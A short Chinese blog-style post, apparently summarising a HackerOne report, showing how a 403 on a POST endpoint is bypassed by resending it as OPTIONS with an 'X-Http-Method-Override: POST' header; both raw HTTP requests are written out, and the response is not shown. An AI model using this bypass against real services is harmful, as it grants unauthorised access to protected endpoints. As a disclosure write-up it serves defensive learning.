假如服务器对于 OPTIONS 的请求过于‘宽容’,会有怎样的惊喜呢?今天让我们来看一个 HackerOne 上的案例。
首先,某网站的端点的请求抓包如下:
POST /user/profile/exists HTTP/2
Host: api.[redacted].com
Authorization: Bearer <jwt>
Content-Type: application/json;charset=UTF-8
{"":""}
请求后的响应是 403 错误。
然后将 POST 请求方式修改为 OPTIONS ,并在请求中添加‘私货’,再次尝试:
OPTIONS /user/profile/exists HTTP/2
Host: api.[redacted].com
X-Http-Method-Override: POST
Authorization: Bearer <jwt>
Content-Type: application/json;charset=UTF-8
{"":""}
获得响应:
虽然前端禁止了 POST 请求,但却疏忽了 OPTIONS 请求,从而使攻击者可以成功绕过 POST 请求限制。
而这种‘疏忽’,却可以让攻击者:
利用被饶过的访问控制,使攻击者可以悄无声息地访问到本应禁止访问的端点
希望你能有所收获~